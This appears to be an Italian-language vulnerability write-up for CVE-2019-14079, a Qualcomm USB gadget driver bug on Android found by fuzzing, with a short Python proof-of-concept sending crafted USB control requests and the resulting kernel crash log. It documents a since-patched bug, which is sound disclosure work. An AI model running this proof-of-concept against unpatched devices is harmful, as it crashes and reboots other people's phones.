parallelbeings/cve-2019-14079Fuzzing di dispositivi USB su telefono Android
Questo post riguarda un semplice bug che ho trovato nel mio dispositivo Android (MI A2 - esegue Android stock) usando il fuzzing del dispositivo USB ed è stato classificato come alta gravità da Google. Il bug era nel driver USB Qualcomm, che è stato successivamente patchato e divulgato nel bollettino Android di marzo 2020. La vulnerabilità: quando si inviano richieste USB manipolate al telefono Android, il kernel Android va in crash e il telefono si riavvia.
Questo bug era dovuto a una variabile non inizializzata utilizzata in "core.c" del gadget USB. I dettagli sulla vulnerabilità si trovano nel seguente advisory di sicurezza Qualcomm e nel bollettino Android di marzo 2020.
https://www.qualcomm.com/company/product-security/bulletins/march-2020-bulletin
I telefoni Android supportano sia la modalità dispositivo che host. In modalità dispositivo puoi collegare il tuo cellulare a un PC usando un cavo USB e condividere immagini, musica dal telefono al PC con diverse modalità di connessione USB (come solo ricarica, MTP). In modalità host puoi collegare una cuffia, una chiavetta USB usando un cavo OTG, dove i tuoi dispositivi fungono da client e il telefono Android da host.
La vulnerabilità è stata trovata semplicemente randomizzando i parametri di controllo USB come bmRequestType, bRequest, wValue (bDescriptorType:DescriptorIndex), wIndex e wLength e inviandoli al dispositivo Android. Inviando una sequenza di richieste di controllo dall'host Linux ad Android (come mostrato nello script sottostante), il driver del dispositivo USB nel telefono le analizza e causa un kernel panic.
Puoi guardare il video qui sotto per comprendere una panoramica su USB e fuzzing di Andrey Konovalov all'Offensive-con 2019 e anche le basi del protocollo USB: USB 101: An Introduction to Universal Serial Bus 2.0.
https://www.youtube.com/watch?v=1MD5JV6LfxA
Affected Chipsets: APQ8009, APQ8053, MDM9607, MDM9640, MSM8909W, MSM8953, QCA6574AU, QCS605, SDA845, SDM429, SDM429W, SDM439, SDM450, SDM632, SDM670, SDM710, SDM845, SDX24, SM8150, SXR1130
Passaggi per riprodurre questa vulnerabilità se non hai aggiornato il telefono con la patch di Android di marzo 2020.
#!/usr/bin/env python3
import usb.core
dev = usb.core.find(idVendor=0x2717, idProduct=0xff40)
send = dev.ctrl_transfer(0x80,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x81,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x82,0,0x0000,0x00,0000)
print("Received: " + str(send))
[ 314.639049] Kernel BUG at ffffff95d9f3ca20 [verbose debug info unavailable]
[ 314.639054] Internal error: Oops - BUG: 96000044 [#1] PREEMPT SMP
[ 314.639060] Modules linked in: wlan(O)
[ 314.639074] CPU: 2 PID: 115 Comm: kworker/u17:1 Tainted: G O 4.4.153-perf+ #1
[ 314.639080] Hardware name: Qualcomm Technologies, Inc. SDM 660 PM660 + PM660L MTP (DT)
[ 314.639100] Workqueue: dwc_wq dwc3_bh_work
[ 314.639107] task: ffffffc1f7470e00 task.stack: ffffffc1f747c000
[ 314.639114] PC is at dwc3_gadget_giveback+0x84/0x1ec
[ 314.639121] LR is at dwc3_ep0_stall_and_restart+0x64/0x84
[ 314.639126] pc : [<ffffff95d9f3ca20>] lr : [<ffffff95d9f41ae8>] pstate: 804001c5
[ 314.639129] sp : ffffffc1f747fbd0
[ 314.639133] x29: ffffffc1f747fbd0 x28: ffffffc174099020
[ 314.639141] x27: ffffff95db082010 x26: 000000000000c040
[ 314.639148] x25: ffffffc174099020 x24: ffffff95db806000
[ 314.639156] x23: 0000000000000000 x22: ffffffc1f613da00
[ 314.639164] x21: ffffffc174099020 x20: ffffffc1f613da00
[ 314.639172] x19: ffffffc174099070 x18: 0000000000000010
[ 314.639179] x17: 0000007b609c9578 x16: ffffff95da4be634
[ 314.639186] x15: aaaaaaaaaaaaaaab x14: 0fffffffffffffff
[ 314.639193] x13: 0000000000000008 x12: 0101010101010101
[ 314.639200] x11: 7f7f7f7f7f7f7fff x10: 3952455531fffffe
[ 314.639208] x9 : ffffffffffffffff x8 : 0000000000808000
[ 314.639215] x7 : 0080800000000000 x6 : ffffff95dbbf8852
[ 314.639222] x5 : 3a534656330100ff x4 : 0000000000000001
[ 314.639230] x3 : 000000000000000a x2 : 00000000ffffff98
[ 314.639237] x1 : dead000000000100 x0 : dead000000000200
Inoltre, i log del crash non spiegano la ragione del crash. Quindi ho intenzione di aggiungere KASAN alla build nel mio nuovo Pixel e migliorare il mio fuzzing del dispositivo con tecniche di instrumentazione adeguate, come il monitoraggio dei log per i crash durante il fuzzing. Inoltre, libusb non permette di emettere richieste di controllo grandi e spesso vengono troncate. Quindi ho intenzione di provare con l'esempio di kate temkin (fusee_gelee) di usare ioctl per inviare comandi direttamente al driver USB.